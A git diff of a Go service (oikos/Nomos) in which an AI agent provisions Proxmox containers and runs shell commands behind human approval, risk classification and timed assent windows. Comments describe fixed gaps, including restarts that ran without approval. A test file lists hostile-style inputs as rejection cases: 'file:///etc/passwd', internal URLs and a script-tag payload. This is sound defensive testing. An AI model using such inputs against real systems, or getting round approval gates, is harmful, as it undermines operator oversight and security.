// reach.
if isStatic && cfg.GW != "" {
pingOut, pingErr := sshExec(ctx, host, user, fmt.Sprintf("ping -I %s -c1 -W2 %s >/dev/null 2>&1 && echo PREFLIGHT_OK || echo PREFLIGHT_FAIL", cfg.Bridge, cfg.GW))
if pingErr != nil || !gatewayPreflightPassed(pingOut) {
msg := fmt.Sprintf(
"gateway %s is not reachable from %s on bridge %s — this almost always means the bridge doesn't carry that subnet on this host (each bridge only reaches the network it's physically wired to). "+
"Do not retry with a different gateway guess in the same subnet: find an existing LXC on this host with an IP in the same /28 and copy its exact bridge+gateway, or use DHCP instead.",
cfg.GW, targetSlug, cfg.Bridge)
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
execID, jsonErr("%s", msg))
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": msg})
return
}
}
templatePath := fmt.Sprintf("/var/lib/vz/template/cache/%s", cfg.Template)
createCmd := fmt.Sprintf(
"pct create %d %s --hostname %s --cores %d --memory %d --rootfs %s:%d %s --net0 %s%s --start 1",
cfg.VMID, templatePath, cfg.Hostname, cfg.Cores, cfg.Memory,
cfg.Storage, cfg.DiskGB, privFlag, net0, nestingFlag)
if cfg.Nameserver != "" {
createCmd += fmt.Sprintf(" --nameserver %s", cfg.Nameserver)
}
if cfg.Searchdomain != "" {
createCmd += fmt.Sprintf(" --searchdomain %s", cfg.Searchdomain)
}
// Add mount points
for i, mp := range cfg.Mounts {
if i < 10 { // pct supports up to mp9
createCmd += fmt.Sprintf(" --mp%d %s", i, mp)
}
}
slog.Info("httpapi: pct_create running", "vmid", cfg.VMID, "hostname", cfg.Hostname, "cmd", createCmd)
output, err = sshExec(ctx, host, user, createCmd)
// pct_create is now DELIBERATELY ATOMIC: create + start + register,
// nothing else. It used to also run apt installs and a post_install
// script inline as one black-box multi-minute SSH call — the agent
// got back a single opaque success/fail for the whole thing with no
// way to see (or fix) which step actually broke. That's the opposite
// of what makes an agent able to recover from errors.
//
// Installing packages, running post_install, and verifying the
// service now happen as the agent's OWN follow-up `run` calls against
// the new lxc:<hostname> target — each one is synchronous (in an
// active assent window) or individually gated, so the agent observes
// every step's real output and can diagnose + retry the exact thing
// that failed instead of re-doing the whole container. See SOUL.md
// "After pct_create: you drive the install" and provisionScript's
// surviving role (DNS self-heal) is now something the agent invokes
// itself via `run`, not something baked into this handler.
//
// cfg.Services/cfg.PostInstall are intentionally no longer read here.
// On success, register the entity in the DB with proper relationships
if err == nil {
slug := "lxc:" + cfg.Hostname
var lxcID uuid.UUID
lxcID, _ = uuid.NewV7()
attrs := map[string]any{
"pve_id": fmt.Sprintf("%d", cfg.VMID),
"host": strings.TrimPrefix(targetSlug, "host:"),
"ip": cfg.IP,
}
attrsJSON, _ := json.Marshal(attrs)
_, insErr := pool.Exec(ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, enrolled_at)
VALUES ($1, $2, 'lxc', $3, 'provisioning', $4, now()) ON CONFLICT (slug) DO NOTHING`, lxcID, slug, cfg.Hostname, attrsJSON)
if insErr != nil {
slog.Error("httpapi: pct_create entity insert", "error", insErr, "slug", slug)
}
// Create hosts relationship: Proxmox host → LXC
var hostID uuid.UUID
if err := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", targetSlug).Scan(&hostID); err == nil {
_, relErr := pool.Exec(ctx, `INSERT INTO relationships (source_id, target_id, type, attributes, valid_from)
VALUES ($1, $2, 'hosts', '{"provisioned_by":"nomos"}'::jsonb, now())`, hostID, lxcID)
if relErr != nil {
slog.Error("httpapi: pct_create relationship insert", "error", relErr, "host", targetSlug, "lxc", slug)
}
}
// Create entity_status row for health tracking
pool.Exec(ctx, `INSERT INTO entity_status (entity_id, health, last_check_at)
VALUES ($1, 'unknown', now()) ON CONFLICT (entity_id) DO NOTHING`, lxcID)
emitExecutionEvent(ctx, pool, execID, "executing", map[string]any{
"lxc_slug": slug, "vmid": cfg.VMID, "host": targetSlug,
})
slog.Info("httpapi: pct_create entity registered", "slug", slug, "vmid", cfg.VMID, "host", targetSlug)
}
case "run":
// The general gated primitive: arbitrary shell against any host or
// LXC, approved and classified by internal/policy.ClassifyCommand at
// request time (see mcp/server.go's "run" tool). No fixed action
// enum — new capability doesn't require new Go code here.
var cfg struct {
Command string `json:"command"`
Purpose string `json:"purpose"`
}
if perr := json.Unmarshal([]byte(params), &cfg); perr != nil {
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
execID, jsonErr("invalid run params: %v", perr))
emitExecutionEvent(ctx, pool, execID, "failed", map[string]any{"target": targetSlug, "error": perr.Error()})
return
}
cmd = wrap(cfg.Command)
output, err = sshExec(ctx, host, user, cmd)
default:
slog.Error("httpapi: unknown gated action for approved execution", "action", action, "execution_id", execID)
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`,
execID, fmt.Sprintf(`{"error":"unknown action: %s"}`, action))
execID, jsonErr("unknown action: %s", action))
return
}
durationMs := int(time.Since(startedAt).Milliseconds())
result := fmt.Sprintf(`{"output":"%s"}`, strings.ReplaceAll(output, "\n", "\\n"))
status := "completed"
verified := true
// Build result via json.Marshal, not string interpolation. Command output
// (apt/pct) contains quotes, backslashes and control chars; the old
// fmt.Sprintf only escaped "\n", producing invalid JSON that failed the
// ::jsonb cast — so this UPDATE was silently discarded and the execution
// was stuck at "approved" forever even though provisioning succeeded.
resMap := map[string]any{"output": output}
if err != nil {
result = fmt.Sprintf(`{"output":"%s","error":"%s"}`, strings.ReplaceAll(output, "\n", "\\n"), err.Error())
resMap["error"] = err.Error()
status = "failed"
verified = false
}
resultJSON, _ := json.Marshal(resMap)
pool.Exec(ctx, `UPDATE executions SET status=$2, result=$3::jsonb, duration_ms=$4, verified=$5, started_at=$6, completed_at=$7 WHERE entity_id=$1`,
execID, status, result, durationMs, verified, startedAt, time.Now())
if _, uerr := pool.Exec(ctx, `UPDATE executions SET status=$2, result=$3::jsonb, duration_ms=$4, verified=$5, started_at=$6, completed_at=$7 WHERE entity_id=$1`,
execID, status, resultJSON, durationMs, verified, startedAt, time.Now()); uerr != nil {
slog.Error("httpapi: finalize execution status", "error", uerr, "execution_id", execID, "intended_status", status)
}
emitExecutionEvent(ctx, pool, execID, status, map[string]any{
"action": action, "target": targetSlug, "duration_ms": durationMs,
@@ -205,6 +624,64 @@ func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID,
"execution_id", execID, "action", action, "status", status, "duration_ms", durationMs)
}
// jsonErr builds a valid {"error": "..."} JSON payload for an execution's
// result column. Always use this instead of fmt.Sprintf'ing JSON by hand —
// error text and command output routinely contain quotes/backslashes that
// break a hand-built string and fail the ::jsonb cast.
func jsonErr(format string, args ...any) []byte {
b, _ := json.Marshal(map[string]any{"error": fmt.Sprintf(format, args...)})
return b
}
// resolveTemplate maps a requested template name to one actually present in
// the host's template cache. Exact match wins; a bare distro hint (e.g.
// "debian-13" or "debian") matches by prefix; empty picks the newest debian
// (falling back to any) template available. Returns "" when nothing fits.
// gatewayPreflightPassed interprets the PREFLIGHT_OK/PREFLIGHT_FAIL markers
// from the pct_create gateway pre-flight check. Pulled out as its own
// function (rather than an inline strings.Contains at the call site) so it's
// unit-testable: a prior version checked for "REACHABLE", which is a
// substring of "UNREACHABLE" — the check could never actually fail, and it
// took a live deployment to notice. Exact-match markers plus a test make
// that specific bug class structurally unable to recur silently.
func gatewayPreflightPassed(out string) bool {
return strings.TrimSpace(out) == "PREFLIGHT_OK"
}
func resolveTemplate(requested string, available []string) string {
if len(available) == 0 {
return ""
}
if requested != "" {
for _, a := range available {
if a == requested {
return a
}
}
for _, a := range available {
if strings.HasPrefix(a, requested) {
return a
}
}
}
// Auto-pick: prefer debian, then the lexically-greatest (newest version).
best := ""
for _, a := range available {
if strings.Contains(a, "debian") && a > best {
best = a
}
}
if best != "" {
return best
}
for _, a := range available {
if a > best {
best = a
}
}
return best
}
// ─── Checks ────────────────────────────────────────────────────────────
func (s *Server) ListChecks(ctx context.Context, req gen.ListChecksRequestObject) (gen.ListChecksResponseObject, error) {
@@ -693,7 +1170,10 @@ func (s *Server) RequestExecution(ctx context.Context, req gen.RequestExecutionR
q := sqlcgen.New(tx)
execSlug := "exec:" + id.String()[:8]
// Full UUID, not a truncated prefix — an 8-char prefix of a UUIDv7
// collides for real under back-to-back requests since the leading bytes
// encode a millisecond timestamp (observed live via the MCP run tool).
execSlug := "exec:" + id.String()
if _, err := q.InsertEntity(ctx, sqlcgen.InsertEntityParams{
ID: id,
Slug: execSlug,
@@ -971,24 +1451,66 @@ func (s *Server) DecideApproval(ctx context.Context, req gen.DecideApprovalReque
// On approve: execute the linked gated command.
if status == "approved" {
var execID, targetID uuid.UUID
var actionStr, targetSlug string
var actionStr, targetSlug, riskClass string
err := tx.QueryRow(ctx, `
SELECT e.entity_id, e.target_entity_id, e.action
SELECT e.entity_id, e.target_entity_id, e.action, e.risk_class
FROM executions e
WHERE e.approval_id = $1 AND e.status = 'pending_approval'
LIMIT 1`, id).Scan(&execID, &targetID, &actionStr)
LIMIT 1`, id).Scan(&execID, &targetID, &actionStr, &riskClass)
if err == nil {
// Resolve target entity slug from targetID.
_ = tx.QueryRow(ctx, "SELECT slug FROM entities WHERE id = $1", targetID).Scan(&targetSlug)
go executeApprovedAction(context.Background(), s.pool, execID, targetSlug, actionStr)
_, _ = tx.Exec(ctx, `UPDATE executions SET status = 'approved', risk_class = 'config_mutation' WHERE entity_id = $1`, execID)
safego.Go("httpapi:executeApprovedAction", func() {
executeApprovedAction(context.Background(), s.pool, execID, targetSlug, actionStr)
})
// Status only — risk_class was set correctly at request time
// (e.g. by policy.ClassifyCommand for `run`); overwriting it to
// a hardcoded 'config_mutation' here corrupted the audit ledger
// for every other risk class, including destructive.
_, _ = tx.Exec(ctx, `UPDATE executions SET status = 'approved' WHERE entity_id = $1`, execID)
// Approving a plan step — by ANY route (this endpoint backs both
// the chat Approve button and chat-assent) — opens/extends the
// agent's assent window. This is the scope gate the Nomos
// auto-continuation worker checks: with the window open, the
// finished execution's result is fed back to the agent so it runs
// the plan to completion. Without opening it here, approving via
// the button (instead of typing "go ahead") would silently not
// auto-continue.
var agentID *uuid.UUID
if qerr := tx.QueryRow(ctx, "SELECT agent_id FROM executions WHERE entity_id = $1", execID).Scan(&agentID); qerr == nil && agentID != nil {
expires := time.Now().Add(30 * time.Minute).UTC().Format(time.RFC3339)
_, _ = tx.Exec(ctx, `INSERT INTO autonomy_settings (key, value) VALUES ($1, $2)
ON CONFLICT (key) DO UPDATE SET value = $2`, "assent_window.agent:"+agentID.String(), expires)
// Approving a DESTRUCTIVE step via the button is exactly as
// explicit as a typed "I confirm" — the operator affirmatively
// clicked Approve on a card that said DESTRUCTIVE. Open the
// same short, target-scoped destructive window chat-assent's
// typed-confirm path opens, for parity: a multi-step
// destructive recovery (stop, then destroy) shouldn't need a
// fresh confirmation per click any more than it needs one per
// typed phrase.
if riskClass == "destructive" && targetSlug != "" {
dExpires := time.Now().Add(15 * time.Minute).UTC().Format(time.RFC3339)
_, _ = tx.Exec(ctx, `INSERT INTO autonomy_settings (key, value) VALUES ($1, $2)
ON CONFLICT (key) DO UPDATE SET value = $2`,
"destructive_window.agent:"+agentID.String()+".target:"+targetSlug, dExpires)
}
}
slog.Info("httpapi: approved execution queued",
"execution_id", execID, "target", targetSlug, "action", actionStr)
} else {
slog.Warn("httpapi: no pending execution found for approval", "approval_id", id, "error", err)
}
} else {
// Denied/revoked: reflect it on the linked execution too. Previously
// only the approvals row changed, so the execution stayed
// 'pending_approval' forever — any UI/poller reading execution
// status (not approval status) never saw the decision.
_, _ = tx.Exec(ctx, `UPDATE executions SET status = $2, completed_at = now() WHERE approval_id = $1 AND status = 'pending_approval'`, id, status)
}
if err := tx.Commit(ctx); err != nil {

View File

@@ -26,6 +26,7 @@ import (
"github.com/dtoro/oikos/internal/db"
"github.com/dtoro/oikos/internal/httpapi/gen"
mcphandler "github.com/dtoro/oikos/internal/mcp"
"github.com/dtoro/oikos/internal/safego"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
"github.com/golang-jwt/jwt/v5"
@@ -78,7 +79,10 @@ func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config, uiHandler
}
// Start background SSE listener, tied to ctx for clean shutdown.
go s.sseListener(ctx)
// handleNotification (called per-message inside sseListener's loop) has
// its own recover for the common case; this outer one covers the
// connection-setup/reconnect code around it.
safego.Go("httpapi:sse-listener", func() { s.sseListener(ctx) })
r := chi.NewRouter()
r.Use(middleware.Recoverer)
@@ -139,6 +143,23 @@ func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config, uiHandler
// inherits the router's base middleware and applies auth via With().
r.With(combinedAuth(cfg)).Get("/api/v1/events/stream", s.serveSSE)
// Custom (non-OpenAPI) route: recency-ordered knowledge + stats for the
// Knowledge page's "what the system has learned" view. Registered after
// HandlerWithOptions so it wins over any generated catch-all.
r.With(combinedAuth(cfg)).Get("/api/v1/knowledge/recent", s.serveRecentKnowledge)
// Custom (non-OpenAPI) routes: the global activity feed (recency-ordered,
// unlike ListExecutions which sorts by target for pagination) and the
// per-session "what did this session do" digest.
r.With(combinedAuth(cfg)).Get("/api/v1/activity/recent", s.serveRecentActivity)
r.With(combinedAuth(cfg)).Get("/api/v1/activity/session/{id}", s.serveSessionDigest)
// Learning view: capability timeline + success trend, both derived from
// executions (real, growing data) rather than the patterns/skills tables,
// which are correctly modeled but have no writers anywhere yet.
r.With(combinedAuth(cfg)).Get("/api/v1/learning/timeline", s.serveLearningTimeline)
r.With(combinedAuth(cfg)).Get("/api/v1/learning/trend", s.serveLearningTrend)
// Mount MCP at /mcp (plan R3-10)
nomosAgentID := uuid.Nil
if cfg.NomosAgentID != "" {
@@ -514,6 +535,16 @@ func ListenAndServe(ctx context.Context, pool *db.Pool, cfg config.Config, uiHan
errCh := make(chan error, 1)
go func() {
// Recovers a panic in ListenAndServe (stdlib, so extremely unlikely,
// but an unrecovered panic here would crash the whole process rather
// than surfacing as a normal startup error) and reports it through
// errCh instead — the select below would otherwise just hang waiting
// for a value that never arrives.
defer func() {
if r := recover(); r != nil {
errCh <- fmt.Errorf("panic in ListenAndServe: %v", r)
}
}()
slog.Info("api listening", "addr", cfg.APIListen)
errCh <- srv.ListenAndServe()
}()

View File

@@ -146,10 +146,28 @@ func (s *Server) sseListener(ctx context.Context) {
continue
}
s.handleNotification(ctx, nt.Payload)
}
}
// handleNotification processes one pg_notify payload: decode, fetch the full
// event, push to the broker, fan out to live subscribers. Split out of
// sseListener's loop specifically so it can be wrapped in its own recover —
// a panic while handling ONE notification (a malformed payload, an
// unexpected nil somewhere in the fan-out) must not kill the whole listener
// goroutine, which would silently stop the live event stream for every
// connected client until the api process is restarted.
func (s *Server) handleNotification(ctx context.Context, payload string) {
defer func() {
if r := recover(); r != nil {
slog.Error("sse listener: panic recovered handling notification", "panic", r)
}
}()
var p notifyPayload
if err := json.Unmarshal([]byte(nt.Payload), &p); err != nil {
if err := json.Unmarshal([]byte(payload), &p); err != nil {
slog.Error("sse listener unmarshal failed", "error", err)
continue
return
}
// Fetch full event from DB
@@ -160,7 +178,7 @@ func (s *Server) sseListener(ctx context.Context) {
})
if err != nil || len(events) == 0 {
slog.Warn("sse listener event fetch failed", "id", p.ID, "error", err)
continue
return
}
ev := events[0]
@@ -179,7 +197,6 @@ func (s *Server) sseListener(ctx context.Context) {
}
s.sseMu.Unlock()
}
}
// sqlcEventToGen converts a DB event row to the canonical wire shape so the
// SSE `data:` payload matches GET /events (snake_case keys, decoded data
@@ -209,12 +226,22 @@ func sqlcEventToGen(ev sqlcgen.Event) gen.Event {
// writeSSE writes a single Event as an SSE message. Returns false if the
// write failed (client disconnected). flusher may be nil (io.Pipe path,
// which has no separate flush step).
//
// We deliberately DO NOT set the SSE `event:` name field, even though every
// event has a type. A named SSE event is only delivered to a matching
// addEventListener(type) handler, NOT to EventSource.onmessage — and the whole
// frontend (stores/events.ts and every page that reads liveEvents) consumes the
// stream via onmessage, reading the type from the JSON payload's `type` field.
// Emitting `event: <type>` silently routed every event away from onmessage, so
// the live stream delivered nothing to the UI. Leaving the name off sends all
// events to onmessage; the type is already in `data`, and new event types need
// zero client changes. `id:` is kept for Last-Event-ID reconnection.
func writeSSE(w ioWriter, flusher http.Flusher, ev sqlcgen.Event) bool {
data, err := json.Marshal(sqlcEventToGen(ev))
if err != nil {
return true // skip un-serializable events
}
_, err = fmt.Fprintf(w, "id: %d\nevent: %s\ndata: %s\n\n", ev.ID, ev.Type, data)
_, err = fmt.Fprintf(w, "id: %d\ndata: %s\n\n", ev.ID, data)
if err != nil {
return false
}

View File

@@ -0,0 +1,56 @@
package mcp
import (
"context"
"strings"
"testing"
"github.com/modelcontextprotocol/go-sdk/mcp"
)
// sprintResult extracts the concatenated text content from a tool result.
func sprintResult(r *mcp.CallToolResult) string {
var b strings.Builder
for _, c := range r.Content {
if tc, ok := c.(*mcp.TextContent); ok {
b.WriteString(tc.Text)
}
}
return b.String()
}
func TestSanitizeBodyStripsHTML(t *testing.T) {
raw := `<html><head><style>.x{color:red}</style><script>alert(1)</script></head>` +
`<body><h1>Hello &amp; Welcome</h1><p>Deploy with docker compose up -d</p></body></html>`
out := sanitizeBody("text/html; charset=utf-8", raw)
if strings.Contains(out, "<script") || strings.Contains(out, "alert(1)") {
t.Errorf("script not stripped: %q", out)
}
if strings.Contains(out, ".x{color:red}") {
t.Errorf("style not stripped: %q", out)
}
if !strings.Contains(out, "Hello & Welcome") {
t.Errorf("expected unescaped heading text, got: %q", out)
}
if !strings.Contains(out, "docker compose up -d") {
t.Errorf("expected body text preserved, got: %q", out)
}
}
func TestHTTPGetBlocksPrivateAndBadScheme(t *testing.T) {
cases := []string{
"http://127.0.0.1:8080/",
"http://localhost/admin",
"http://192.168.8.77/",
"http://10.0.0.5/",
"file:///etc/passwd",
"ftp://example.com/x",
"",
}
for _, c := range cases {
out := sprintResult(httpGet(context.Background(), c))
if !strings.Contains(strings.ToLower(out), "error") && !strings.Contains(strings.ToLower(out), "refus") {
t.Errorf("%q: expected rejection, got %q", c, out)
}
}
}

View File

@@ -3,12 +3,19 @@
package mcp
import (
"bytes"
"context"
"encoding/base64"
"encoding/json"
"fmt"
"html"
"io"
"log/slog"
"net"
"net/http"
"net/url"
"os"
"regexp"
"strings"
"sync"
"time"
@@ -16,6 +23,8 @@ import (
"github.com/dtoro/oikos/internal/db"
"github.com/dtoro/oikos/internal/db/sqlcgen"
"github.com/dtoro/oikos/internal/observability"
"github.com/dtoro/oikos/internal/policy"
"github.com/dtoro/oikos/internal/safego"
"github.com/google/jsonschema-go/jsonschema"
"github.com/google/uuid"
"github.com/modelcontextprotocol/go-sdk/mcp"
@@ -187,6 +196,82 @@ func newServer(pool *db.Pool, agentID uuid.UUID) *mcp.Server {
ORDER BY 1`, slug), nil
})
register(&mcp.Tool{Name: "upsert_knowledge", Description: "Write back what you learned so future sessions (and future you) benefit — this is how the system gets smarter over time. Use it AFTER solving a non-obvious problem, deploying a service, or discovering a gotcha: record the finding, the fix, and any caveats. Re-calling with the same title updates the existing note instead of duplicating. This is the ONLY way to persist knowledge; a chat message alone is forgotten. search_knowledge/get_entity_knowledge read it back.",
InputSchema: objSchema(
prop{"title", "string", "Short, specific, searchable title (e.g. 'Dragonfly memlock rlimit in unprivileged LXCs', not 'notes')."},
prop{"content", "string", "The knowledge itself, in markdown. Be concrete: symptom, root cause, the exact fix/commands, and any caveats. Written for someone hitting this fresh."},
prop{"about", "string", "Optional entity slug this knowledge concerns (e.g. lxc:typetype, host:strong) — links the note to that entity so get_entity_knowledge surfaces it."},
prop{"tags", "string", "Optional comma-separated tags (e.g. 'docker,networking,gotcha')."},
prop{"kind", "string", "One of: investigation (a finding/incident analysis — default), document (reference), runbook (a repeatable procedure)."},
),
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
args := argsMap(req)
return upsertKnowledge(ctx, pool, args)
})
register(&mcp.Tool{Name: "update_entity_attributes", Description: "Merge new/changed attributes into an entity — the OTHER half of avoiding knowledge-base drift (upsert_knowledge records what you learned; this keeps the entity's own facts current). Use it when you discover something concrete about an entity's actual state that the graph doesn't reflect yet: a new IP, a version number, a config value, a discovered port — anything a FUTURE task would otherwise have to rediscover from scratch. Does NOT require approval (this updates the knowledge graph, not the live infrastructure). Merges shallowly — existing keys not mentioned are kept; keys you pass overwrite.",
InputSchema: objSchema(
prop{"slug", "string", "Entity slug to update (e.g. lxc:typetype, host:strong)."},
prop{"attributes", "string", "JSON object string of attributes to merge in, e.g. {\"lan_ip\":\"192.168.8.50\",\"os\":\"debian-12\"}."},
),
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
args := argsMap(req)
slug, _ := args["slug"].(string)
attrsStr, _ := args["attributes"].(string)
if slug == "" || attrsStr == "" {
return textResult("error: slug and attributes are required"), nil
}
var attrs map[string]any
if err := json.Unmarshal([]byte(attrsStr), &attrs); err != nil {
return textResult(fmt.Sprintf("error: attributes is not valid JSON: %v", err)), nil
}
attrsJSON, _ := json.Marshal(attrs)
ct, err := pool.Exec(ctx, `
UPDATE entities SET attributes = attributes || $2::jsonb, updated_at = now()
WHERE slug = $1`, slug, string(attrsJSON))
if err != nil {
return textResult(fmt.Sprintf("error updating %s: %v", slug, err)), nil
}
if ct.RowsAffected() == 0 {
return textResult(fmt.Sprintf("error: entity %q not found", slug)), nil
}
return textResult(fmt.Sprintf("Updated %s with %d attribute(s).", slug, len(attrs))), nil
})
register(&mcp.Tool{Name: "create_relationship", Description: "Record a relationship you discovered between two entities — the graph-structure half of keeping the knowledge base current (alongside update_entity_attributes and upsert_knowledge). Use it when you learn that one entity depends on, hosts, routes to, etc. another, and that edge isn't in the graph yet. type must be an existing relationship type (see get_relations output on similar entities for examples: hosts, provides, depends-on, configured-by, about, documents, ...). Idempotent — re-calling the same source/target/type is a no-op. Does NOT require approval.",
InputSchema: objSchema(
prop{"source", "string", "Source entity slug."},
prop{"target", "string", "Target entity slug."},
prop{"type", "string", "Relationship type name (must already exist in the ontology)."},
),
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
args := argsMap(req)
source, _ := args["source"].(string)
target, _ := args["target"].(string)
relType, _ := args["type"].(string)
if source == "" || target == "" || relType == "" {
return textResult("error: source, target, and type are required"), nil
}
var sourceID, targetID uuid.UUID
if err := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", source).Scan(&sourceID); err != nil {
return textResult(fmt.Sprintf("error: source entity %q not found", source)), nil
}
if err := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", target).Scan(&targetID); err != nil {
return textResult(fmt.Sprintf("error: target entity %q not found", target)), nil
}
_, err := pool.Exec(ctx, `
INSERT INTO relationships (source_id, target_id, type, attributes, valid_from)
SELECT $1, $2, $3, '{"by":"nomos"}'::jsonb, now()
WHERE NOT EXISTS (
SELECT 1 FROM relationships
WHERE source_id = $1 AND target_id = $2 AND type = $3 AND valid_to IS NULL)`,
sourceID, targetID, relType)
if err != nil {
return textResult(fmt.Sprintf("error creating relationship: %v (is %q a valid relationship type?)", err, relType)), nil
}
return textResult(fmt.Sprintf("Recorded: %s —%s→ %s", source, relType, target)), nil
})
register(&mcp.Tool{Name: "query_metrics", Description: "Query time-series metrics",
InputSchema: objSchema(prop{"hours", "integer", "Look-back window in hours (default 24)"}),
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
@@ -261,17 +346,18 @@ func newServer(pool *db.Pool, agentID uuid.UUID) *mcp.Server {
nStr(args["status"])), nil
})
register(&mcp.Tool{Name: "request_execution", Description: "Request a gated execution (agent-only mutation path). Supported actions: restart, systemctl, pct_exec, apt_upgrade.",
register(&mcp.Tool{Name: "request_execution", Description: "Request a gated execution (agent-only mutation path). Supported actions: restart, systemctl, pct_exec, apt_upgrade, pct_create. pct_create provisions a NEW LXC and installs its service in one approved step — you do NOT need follow-up pct_exec calls for package installs.",
InputSchema: objSchema(
prop{"target", "string", "Target entity slug (e.g. lxc:caddy)"},
prop{"action", "string", "Action: restart, systemctl, pct_exec, apt_upgrade"},
prop{"params", "string", "Extra params: for systemctl use 'enable|disable|reload', for pct_exec use the shell command, for apt_upgrade use 'audit|upgrade'"},
prop{"target", "string", "Target entity slug. For pct_create this MUST be the Proxmox HOST that will run the container (e.g. host:strong) — NOT the new LXC's name. For restart/systemctl/apt_upgrade/pct_exec use the target service/LXC slug (e.g. lxc:caddy)."},
prop{"action", "string", "Action: restart, systemctl, pct_exec, apt_upgrade, pct_create"},
prop{"params", "string", "For systemctl: 'enable|disable|reload'. For pct_exec: the shell command. For apt_upgrade: 'audit|upgrade'. For pct_create: a JSON object string with keys: vmid (int, required, unused id), hostname (string, required), cores (int), memory (MB int), disk_gb (int), ip (CIDR e.g. 192.168.8.50/24, or omit/\"dhcp\" — DHCP is the safe default, see below), gw (gateway ip, static only), bridge (e.g. vmbr0/vmbr1 — WHICH BRIDGE REACHES WHICH SUBNET IS DIFFERENT PER HOST, never assume vmbr0; see below), storage (default local-lvm), template (optional — omit to auto-pick newest debian on the host), privileged (bool), nesting (bool), mounts ([]string of 'src,mp=/dst'). Example: {\"vmid\":150,\"hostname\":\"typetype\",\"cores\":2,\"memory\":2048,\"disk_gb\":16,\"ip\":\"192.168.8.50/24\",\"gw\":\"192.168.8.2\",\"bridge\":\"vmbr1\",\"nesting\":true}. pct_create is ATOMIC — it ONLY creates and starts the container (no services/post_install params anymore). Once it completes you will be automatically re-invoked with the result; install packages and run setup by issuing your OWN `run` calls against the new lxc:<hostname> target, one step at a time — you'll see each step's real output and can fix exactly the one that fails, instead of one opaque multi-minute install that either fully works or fully doesn't. STATIC IP RULE: before setting ip/gw/bridge to anything other than DHCP, use list_entities/get_entity_knowledge to find an EXISTING lxc on the SAME host whose IP is in the same /28 block, and copy its exact gw+bridge — do not invent a gateway. If no such neighbor exists, prefer ip:\"dhcp\" (proven to work, gets a real routable address) over guessing; a wrong bridge/gateway pair fails a fast pre-flight ping check now (seconds, not minutes) but is still a wasted turn — better to not guess at all."},
),
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
args := argsMap(req)
targetSlug, _ := args["target"].(string)
action, _ := args["action"].(string)
params, _ := args["params"].(string)
sessionID, _ := args["_session_id"].(string)
if targetSlug == "" || action == "" {
return textResult("error: target and action required"), nil
}
@@ -281,77 +367,78 @@ func newServer(pool *db.Pool, agentID uuid.UUID) *mcp.Server {
return textResult(fmt.Sprintf("target not found: %s", targetSlug)), nil
}
// restart, pct_exec, and systemctl (outside enable/disable) route
// through the same classify→gate path as `run` instead of executing
// immediately over SSH with a hardcoded risk_class='reversible_low'
// that was never actually checked against anything. Found live
// 2026-07-10: a chat request to "restart caddy" — the fleet's
// reverse proxy — executed instantly with zero approval, because
// this action bypassed the classifier entirely. classifyAndGate
// applies the same read-only/config-mutation/destructive
// classification and approval flow the `run` tool already uses.
if action == "restart" || action == "pct_exec" || (action == "systemctl" && params != "enable" && params != "disable") {
svc := strings.TrimPrefix(targetSlug, "lxc:")
var cmd, purpose string
switch action {
case "restart":
cmd = fmt.Sprintf("systemctl restart %s; sleep 1; systemctl is-active %s", svc, svc)
purpose = "restart " + svc
case "pct_exec":
cmd = params
purpose = "pct_exec (legacy) on " + targetSlug
case "systemctl":
cmd = fmt.Sprintf("systemctl %s %s; sleep 1; systemctl is-active %s", params, svc, svc)
purpose = "systemctl " + params + " " + svc
}
return classifyAndGate(ctx, pool, agentID, targetID, targetSlug, cmd, purpose, "", sessionID), nil
}
// Deduplicate: if a pending execution already exists for the same
// target+action, return the existing one instead of creating a
// duplicate. Prevents the LLM from re-requesting the same gated
// action in a tool-calling loop. Only blocks when a pending
// execution exists; completed/failed ones don't block.
if action == "systemctl" || action == "apt_upgrade" || action == "pct_create" {
execNamePrefix := action + " on " + targetSlug
var existingID string
err := pool.QueryRow(ctx, `
SELECT e.id::text FROM entities e
JOIN executions ex ON ex.entity_id = e.id
WHERE e.type = 'execution' AND e.name LIKE $1 AND ex.status = 'pending_approval'
ORDER BY e.created_at DESC LIMIT 1`, execNamePrefix+"%").Scan(&existingID)
if err == nil && existingID != "" {
return textResult(fmt.Sprintf("%s on %s is already queued for approval — execution %s. Wait for operator approval. Do not re-request.",
action, targetSlug, existingID)), nil
}
}
id, _ := uuid.NewV7()
correlationID := uuid.New().String()
// Write execution record
execSlug := "exec:" + targetSlug + ":" + id.String()[:8]
pool.Exec(ctx, `INSERT INTO entities (id, slug, type, name, attributes) VALUES ($1, $2, 'execution', $3, '{}')`,
id, execSlug, action+" on "+targetSlug)
pool.Exec(ctx, `INSERT INTO executions (entity_id, target_entity_id, action, risk_class, status, correlation_id, agent_id) VALUES ($1, $2, $3, 'reversible_low', 'running', $4, $5)`,
// Full UUID, not a truncated prefix: UUIDv7's leading bytes encode a
// millisecond timestamp, so an 8-char prefix collides for real under
// back-to-back requests (observed live: two `run` calls seconds
// apart hit entities_slug_key). The full string is guaranteed unique.
execName := action + " on " + targetSlug + " (" + id.String() + ")"
execSlug := "exec:" + targetSlug + ":" + id.String()
_, err := pool.Exec(ctx, `INSERT INTO entities (id, slug, type, name, attributes) VALUES ($1, $2, 'execution', $3, '{}')`,
id, execSlug, execName)
if err != nil {
return textResult(fmt.Sprintf("error: failed to create execution: %v", err)), nil
}
